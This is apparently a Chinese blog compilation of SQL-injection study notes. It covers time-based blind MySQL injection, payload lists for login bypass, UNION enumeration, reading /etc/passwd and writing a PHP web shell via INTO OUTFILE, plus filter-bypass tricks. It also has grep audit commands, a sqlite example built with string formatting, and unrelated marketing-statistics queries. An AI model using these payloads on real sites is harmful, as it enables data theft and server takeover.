Mysql时间延迟盲注之手工利用

sqlmap支持使用–Techniques “T”指定时间延迟注入,节省sqlmap使用其他注入测试时间,然后就是伪静态指定位置注入,在注入参数中加*(不能去掉参数值),如果有token的情况,在sqlmap中有个conf配置文件,可以配置url,没使用过,不晓得是否可以绕过token,如果遇到可识别的图形验证码,就只能自己写脚本手工注入了,于是手工分析了下,正合适完善下sql注入高级篇教程。
首先mysql延迟注入支持两个函数,一个是benchmark函数,(有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式, 返回的结果始终是0)比如: select BENCHMARK(10000000,md5(1)); 这种方式是执行了10000000次md5(1)操作,这种方式判断是否延迟消耗CPU,这个函数的最初设计是为了测试mysql的性能的,如果做破坏的话,把第一个参数加到最大,多线程发送请求,会造成cc攻击,导致服务器负荷过高、一般都不用这个函数,用sleep(2)睡眠函数,判断延迟时间准确,而且不会影响系统性能。

基础函数整理如下:

#编码时间延迟注入
if(now()=sysdate()%2csleep(2)%2c0)

#解码后的样子
if(now()=sysdate(),sleep(2),0)

#延迟函数
sleep(2)//秒

#条件语句,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)

#转换成ascii码函数
ascii()

#取字符串长度
substring(“string”,strart,length)
或者用mid(),取出字符串里的第几位开始,长度多少的字符

##当ascii码正确时,产生延时,否则不延时
if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一个字符h,转化为ascii码,与104对比,如果相等则执行sleep(2),否则执行1,在sqlmap中,如果标签缀被跑出了,下次的时候sqlmap会优先判断表前缀,从而提高了注入速度。

如果自己写脚本的话,if(ascii(“h”)=104,sleep(2),1),通过ascii码把a-zA-Z0-9都遍历一遍,即可取出对应的结果了。 在sqlmap中把这个表达式拆分了噢、用16进制方式做的对比,预计是可以加快速度的,不过猜测会消耗主机资源。

##查表名,查字段,内容以此类推
if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);

#查数据库

##########################################################################################################################

实际中测试mysql盲注,首先要闭合前面的sql语句,要后面的sql语句和前面是连贯可执行的,不然没用,比如:

id=1 union select if(ascii(“h”)=104,sleep(2),1)

if(ascii(“h”)=104,sleep(2),1) #实际中使用要把,做URL编码为%2c

注入流程首先要构造mysql数据查询、版本、然后判断数据库数量,每个数据库表的长度,length(database())>10,然后再一个一个猜测,时间延迟盲注拖数据比较慢噢、用二分法优化可以提高速度,先判断字符的边界,再慢慢缩小范围,直到相等了触发延迟为止,sqlmap优化了很多,速度比较可观、后面再详细看sqlmap源码。

Python使用sqlite和Mysql数据库笔记

Python使用sqlite如下:
创建sqlite语句:

CREATE TABLE history (
id??? INTEGER???????? PRIMARY KEY ASC AUTOINCREMENT,
url?? VARCHAR( 100 ),
title TEXT,
date? DATETIME??????? DEFAULT ( ( datetime( ‘now’, ‘localtime’ )? )? )
);

import sqlite3
#建立数据库连接
conn = sqlite3.connect(“db.dll”)
#创建游标
cur = conn.cursor()

#增加
exec_insert = “INSERT INTO history (url,title) VALUES (‘%s’,’%s’)”
cur.execute(exec_insert % (“url2″,”title2”))
conn.commit()

#修改
test_url = “http://127.0.0.2/”
test_title = “dedecms by python spiders!”
exec_update = “UPDATE history SET url=’%s’, title=’%s’ WHERE url=’%s’ AND title=’%s’ ”
cur.execute(exec_update % (test_url,test_title,”url2″,”title2″))
conn.commit()
#MD,开始因为创建了索引、测试半天没能修改、、、

#删除
cur.execute(“DELETE FROM history WHERE id = 1”)
conn.commit()

#查询
exec_select = cur.execute(“select * from history”)
print cur.fetchall()

 

Python使用mysql如下:

import MySQLdb
#建立数据库连接
conn = MySQLdb.connect(
host = ‘localhost’,
user = ‘root’,
passwd = ‘root’,
db = ‘android’,
port = 3306,
charset =’utf8′,
)
cur = conn.cursor()

#增删改查直接用 %s 替换sql语句就行
“”” –MySQLdb
CREATE DATABASE p2p DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
CREATE TABLE `android`.`p2p_caiji` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`url` text,
`keywords` text,
`date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
“””
sqli_select = “SELECT * FROM p2p_caiji WHERE url = %s” #查询是否有存在的记录 sql模版
sqli_insert = “INSERT INTO p2p_caiji (id,url,keywords,date) VALUES(NULL,%s,%s,CURRENT_TIMESTAMP)” #添加记录 sql模版

#查询
exec_select = cur.execute(sqli_select,url)

#添加
cur.execute(sqli_insert,(res[‘url’],res[‘key’]))
conn.commit() #提交事物

修改和删除一样,使用sql模版 %s 替换即可。

读《SQL注入攻击与防御》笔记

‘ //单引号报错,转义
%bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则
UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)– //读取系统文件
UNION SELECT “<?system($_REQUEST[‘cmd’];?>)” INTO OUTFILE “/var/www/html/0535code.com”– // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断
原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack’ + ‘er 或 hack er //字符型注入条件判断
‘ and ‘1’=’1 和 ‘ and ‘1’=’2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在;
#1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞
#2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;– //字符串转化为整数 看版本
and 1=0/user;– //字符串转化为整数 看当前数据库用户

1′ GROUP BY productid having 1’=’1 //枚举所有列
1′ and USER not in (‘admin’) and 1=0/USER and 1’=’1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形:
字符型
1′ or ‘1’=’1
1′) or (‘1’=’1
value’ or ‘1’=’2
value’) or (‘1’=’2
1’and ‘1’=’1
1′) and (‘1’=’1
1’ or ‘ab’=’a’+’b’
1′) or (‘ab’=’a’+’b’)
1′ or ‘ab’=’a’b
1’) or (‘ab’=’a’b)
1’ or ‘ab’=’a’||’b
1’) or (‘ab’=’a’||’b
数字型
1+1
3-1
value+0
1 or 1=1
1) or (1=1
value or? 1=2
value) or (1=2
1 and 1=2
1) and (1=2
1 or ‘ab’=’a’+’b’
1) or (‘ab’=’a’+’b’
1 or ‘ab’=’a”b’
1) or? (‘ab’=’a”b’
1 or ‘ab’=’a’||’b’
1) or (‘ab’=’a’||’b’

登陆弱口令
admin’–
admin’)–
admin’#
admin’)#
1–
1)–
1 or 1=1–
1) or 1=1–
‘or ‘1’=’1′–
‘) or ‘1’=’1′–
-1 and 1=2–
-1) and 1=2–
‘and ‘1’=’2′–
‘) and ‘1’=’2′–
1/*comment*/

microsoft sql 时间延迟
aspx?id=1; waitfor delay ‘0:0:5’;–

mysql 时间延迟
php?id=1; select benchmark(10000000,encode(‘hello’,’mom’);–

利用篇
@@version #DBMS版本
@@servername #安装SQL server服务器名称
@@language #当前使用语言
@@spid #当前用户进程ID

11+union+select+null,null,null,null– 嗅探列数
11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列
#排序方式实现结合 二分法算法实现 可提高效率
#UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user=’sa’)+WAITFOR+DELAY+’0:0:5′– mssql判断是否为dba权限
select len(system_user) 获取用户名长度

绕过技术:
1.随机大小写绕过
SeLect
2.URL编码绕过
‘%2f%2a*/UNION%2f%2a*/password%2f%2a*/FROM%2f%2a*/table_User%2f%2a*/…
3.双URL编码绕过
%252f%%252a*/UNION%252f%%252a*/…
4.动态查询绕过
Oracle:’SELE’||’ct’ 编码后 ‘SELE’%20’ct’
MS-SQL:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
Mysql:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
5.ASCII码编码绕过
char()
6.使用空字节
%00′ UNION SELECT password FROM table_User WHERE username=’admin’–
7.嵌套剥离后的表达式
比如SELECTSELECT,只过滤了其中一个
8.利用截断
单引号或双引号或扩展闭合截断
9.GET,POST方式切换

/**/ 单行注释
–? 多行注释
# mysql单行注释符
SELECT 1 /*!40119 + 1*/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value/**/or/**/1=1?? //空格绕过

审计技术

grep -r -n “\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#对文件目录遍历,src为路径,php版
grep -r -n “\(oci\|ora\)_parse\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#java版
grep -r -n “preparedStatement(\|executeQuery(\|executeUpdate(\|execute(|addBatch(\|executeBatch(” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#C#版
grep -r -n “SqlCommand(\|SqlParameter(\|OleDbCommand(\|OleDbparameter(\OracleCommand(\|OracleParameter(|\OdbcCommand(\|Odbcparameter” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’
#查是否存在注入点
grep -i -r -n “sql =.*\”\(SELECT\|UPDATE\|INSERT\|DROP\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

注入类型:
1.时间延迟注入
aspx?id=1; waitfor delay ‘0:0:5’;–
分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay ‘0:0:5’;– 判断返回时间是否延迟了5秒
2.基于错误注入
asp?id=1/is_srvrolemember(‘sysadmin’)
上述构造是利用返回错误,反推构造sql条件
3.基于内容
asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、
利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞:
输入验证,即参数化查询,强制数据类型及字符串长度控制。
数据类型、数据大小、数据范围、数据内容
正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)

深入浅出SQL注入

1.判断有无注入点
数字型:and 1=1 and 1=2 和 ‘
字符型:’and ‘1’=’1? ‘and ‘1’=’2
搜索型:关键字%’ and 1=1 and ‘%’=’%??? 关键字%’ and 1=2 and ‘%’=’%
大部分数据库都有用单行注释符(–)和多行注释符(/**/),在不需要执行后面操作的地方,可以添加相对应的注释符。
盲注的情况下,用上面sql语句看返回页面是看不到页面异常信息的。
2.猜表
一般的表的名是admin username password tables等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) –判断是否存在admin这张表
3.猜帐号数目
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称
在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a)
–猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)
–猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
7.后台弱口令类型SQL注入
原始SQL:SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’
$username = 1′ or ‘1’=’1
$password=1′ or ‘1’=’1
然后sql查询会变为下面新的查询语句
SELECT * FROM Users WHERE Username=’1′ OR ‘1’=’1′ AND Password=’1’OR ‘1’=’1′
顺便回忆一个sql注入的过程,某注入点已经成立,想做增删改查的操作。

假设注入点为?http://0535code.com/?p=635 And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from member
以上是查询语句了,要构造增加,删除,修改语句都要通过上面联合做查询。
增加:http://0535code.com/?p=635 And 1=2 union?INSERT INTO members (username,password) VALUES (‘demo’,’demo’);
修改:http://0535code.com/?p=635 And 1=2 union UPDATE member SET username = ‘name’ WHERE username = ‘demo’;
删除:http://0535code.com/?p=635 And 1=2 union DELETE FROM members WHERE username = ‘demo’ ;
或者也可以把查询语句放union,结束的时候加个分号(;),表示结束,再重新添加构造的sql语句。

通过以上几个语句,有几个疑问,验证了下答案。
问题一:在猜解到了数据库表名和列名,是否可以添加记录?
原始sql语句:INSERT INTO `test`.`users` (`id`, `username`, `password`, `name`) VALUES (NULL, ‘1111’, ‘2222’, ‘3333’);
测试sql语句:INSERT INTO `test`.`users` ( `name`) VALUES ( ‘ccc’);
经过测试是可行的,只要猜到表名和字段名就可以增删改查操作了。

问题二:select 1,2,3,4,5,6,7,8,9,10 from member,中间列数怎么用呢?
select name from users where 1 and 1=2 union select 1 , 2, 3,4,5,6 from users
如果为6个字段的话,才会正常返回值,通过这个确定列数,确定列数后,可以猜解字段所在的列,从1替换到10看返回数据。

通常sql注入,会采用sqlmap,pangolin,Havij验证,有些需要手工构造后,通过工具爆库。

php链接Mysql排查问题代码

wdcp后台被窝改了一个参数,安全模式开启了,开启后mysql奇怪的打不开了,而在wdcp中的phpmyadmin和wdcp都可以链接上mysql,3306端口开着的,mysql开启了,最终想了下修改了一个参数,然后改回来了就好了。
php链接mysql排错代码如下:

<?php
$conn = mysql_connect("localhost","username","password") or die("connect err: ".mysql_error());
echo "MySQL数据库成功!";
?>

Mysql 数据统计学习积累

一、关键词展现统计
1.1 本周每日展现与上周每日展现 折线图
1.2 本周车系 展现量TOP10 柱状图
1.3 关键词覆盖-展现分析,新增加的关键词展现数据与之前展现数据对比 柱状图
 
二、关键词点击统计?
2.1 本周每日点击与上周每日点击 折线图
2.2 本周车系 点击量TOP10 柱状图
2.3 本周每日点击率与上周每日点击率 折线图
 
三、关键词转化统计
3.1 本周每日申请试驾报名数量 柱状图
3.2 本周车系申请试驾排名 柱状图
 
四、数据总结
4.1 百度指数TOP50总占比,TOP50关键词各占比
4.2 百度指数本周与上周变化较大的几个车系关键词 (百度指数差-排序) ?百度指数差,上升和下降的前10名
4.3 同行竞品分析-分析与同行厂商,车系的变化细节
 
五、小结
上周与本周的平均展现,点击,点击率,转化率对比上升或者下降幅度,每月,季度等数据变化。
 
以下是涉及数据库相关操作语句:
关键词规则
1.带空格,去掉空格
2.带括号(),去掉括号内所有内容,比如(进口)、(概念车)、(海外)
3.带? 去掉 ? 符号
4. 大小写转换;
5.去掉“浙江”
6. +*厢
7.特殊符号 “ α”
整理常用SQL语句

A、正则批量替换

UPDATE `think_key` SET `otherkey` = replace(keyname,’α’,”) WHERE `keyname` LIKE ‘%浙江%’
UPDATE `think_key` SET `otherkey` = replace(keyname,’两厢’,”) WHERE `keyname` LIKE ‘%两厢%’
UPDATE `think_key` SET `otherkey` = replace(keyname,’三厢’,”) WHERE `keyname` LIKE ‘%三厢%’
UPDATE `think_key` SET `otherkey` = replace(keyname,’α’,”) WHERE `keyname` LIKE ‘%α%’
B、根据条件修改记录

//关键词与副关键词相等的记录(keyname=otherkey)则设置keyzhishu,oldkeyzhishu,solu,otherkey为0,即清空
操作。
create table tmp as select keyname from think_key where 1;
update `think_key` set keyzhishu = ‘0’ , oldkeyzhishu = ‘0’ , solu = ‘0’ , otherkey = ” WHERE otherkey
in (select keyname from tmp where 1);
drop table tmp;
C、查看展现量与点击量SQL

//==查看每日展现与点击量sql
SELECT sum(click) FROM `cms_360_api_data` WHERE `days` = ‘2014-06-30’ ORDER BY `searchvol` DESC

//查看一周展现与点击
SELECT sum(searchvol) FROM `cms_360_api_data` WHERE `days` >= ‘2014-07-04’ and `days` <= ‘2014-07-10’

//车系收录量最高的,一共65个。
SELECT * FROM `think_key` where keyname in (SELECT keychexi FROM `think_access`) and solu = ‘100000000’
ORDER BY `keyzhishu` DESC
//每周车系前10名按展现和点击分组排序。。。。
SELECT keyword,sum(searchvol),sum(click) FROM `cms_360_api_data` WHERE keyword in (SELECT keychexi FROM
`think_access`) and days >=’2014-6-30′ and days<=’2014-7-6′ group by keyword ORDER BY sum(searchvol)
DESC limit 10

1.每周车系展现排行榜
SELECT keyword,sum(searchvol) FROM `cms_360_api_data` WHERE keyword in (SELECT keychexi FROM
`think_access`) and days >=’2014-6-30′
and days<=’2014-7-6′ group by keyword ORDER BY sum(searchvol) DESC limit 10
2.每周车系点击排行榜
SELECT keyword,sum(click) FROM `cms_360_api_data` WHERE keyword in (SELECT keychexi FROM `think_access`)
and days >=’2014-6-30′ and days<=’2014-7-6′ group by keyword ORDER BY sum(click) DESC limit 10
D、异常数据sql

// == 点击大于检索 非正常关键词
SELECT * FROM `cms_360_api_data` WHERE `click` > `searchvol` and days = ‘2014-07-06’ ORDER BY
`searchvol` DESC
E、百度指数sql

//查询车系关键词 百度指数
SELECT * FROM `think_key` WHERE keyname in (SELECT keychexi FROM `think_access` WHERE 1) ORDER BY
`keyzhishu` DESC

//查询车系中otherkey不为空的记录
SELECT * FROM `think_key` where otherkey != “” ORDER BY `keyzhishu` DESC
SELECT * FROM `think_key` WHERE keyname in (SELECT keychexi FROM `think_access`) and otherkey != “”
ORDER BY `keyzhishu` DESC

//Top50
select sum(keyzhishu) from (SELECT keyzhishu FROM `think_key` WHERE keyname in (SELECT keychexi FROM
`think_access`) ORDER BY `think_key`.`keyzhishu` DESC LIMIT 0,50) as t1

//Top50关键词各占百分比
SELECT keyname,otherkey,keyzhishu/606936 FROM `think_key` WHERE keyname in (SELECT keychexi FROM
`think_access`) ORDER BY `think_key`.`keyzhishu` DESC LIMIT 0,50
F、试驾报名

//统计每日试驾报名

//统计车系试驾报名排行榜 — 返回指定日期 预约试驾报名 前 15个车系。
select chexi , count(*) AS count from think_baoming where data between ‘2014-07-04’ and ‘2014-07-11’
group by chexi order by count DESC limit 15

 

G、数据总结

//小结 统计周每日 检索 或展现 周平均值。
SELECT sum(searchvol)/7 FROM `cms_360_api_data` WHERE `days` >= ‘2014-06-26’ and `days` <= ‘2014-07-03’

 

I、其他.
//==查询主关键词和次关键词总和 排序。。。
SELECT k.p_id , k.keywords , c.keyword , sum(c.searchvol) , sum(c.click) , c.days FROM
`cms_360_api_data` as c LEFT JOIN keywords as k ON c.keyword = k.keywords where c.days=’2014-07-06′
group by k.p_id ORDER BY sum(c.searchvol) DESC
//一周数据
SELECT k.p_id , k.keywords , c.keyword , sum(c.searchvol) , sum(c.click) , c.days FROM
`cms_360_api_data` as c LEFT JOIN keywords as k ON c.keyword = k.keywords where c.days>=’2014-6-30′ and
c.days<=’2014-7-6′ group by k.p_id ORDER BY sum(c.searchvol) DESC
//点击比动较大的上周与本周 点击差值。
select c1.keyword , c2.click – c1.click from (SELECT keyword , click FROM `cms_360_api_data` WHERE days
= ‘2014-07-07’) as c1 left join (SELECT keyword , click FROM `cms_360_api_data` WHERE days = ‘2014-07-
14’) as c2 on c1.keyword = c2.keyword ORDER BY `c2.click – c1.click` DESC
—-
select c1.keyword , c1.click as click1 , c2.click as click2 ,c2.click – c1.click as click3 from (SELECT
keyword , click FROM `cms_360_api_data` WHERE days = ‘2014-07-07’) as c1 left join (SELECT keyword ,
click FROM `cms_360_api_data` WHERE days = ‘2014-07-14′) as c2 on c1.keyword = c2.keyword ORDER BY
`click3` DESC

//百度指数添加历史记录
INSERT INTO think_tongji (id,data,keyname,otherkey,keyzhishu,solu) SELECT null,’2014-08-
08′,keyname,otherkey,keyzhishu,solu FROM think_key;

//查询360关键词指数排名TOP50
select sum(k.week_index) as data from (SELECT week_index FROM think_360key WHERE keyname in (SELECT
keychexi FROM think_access) and date='{$benzhou}’ ORDER BY week_index DESC LIMIT 50) as k
//计算360关键词指数TOP50各占百分比
SELECT keyname,round(week_index/’197354’*100,0) as bfb FROM think_360key WHERE keyname in (SELECT
keychexi FROM think_access) and date=’2014-08-07′ ORDER BY week_index DESC LIMIT 50
//对于value-sql
SELECT keyname,round(week_index/'{$count}’*100,0) as bfb FROM `think_360key` WHERE keyname in (SELECT
keychexi FROM `think_access`) and date='{$benzhou}’ ORDER BY week_index DESC LIMIT 50
 
===========================搜索引擎品牌专区栏目数据汇总==========================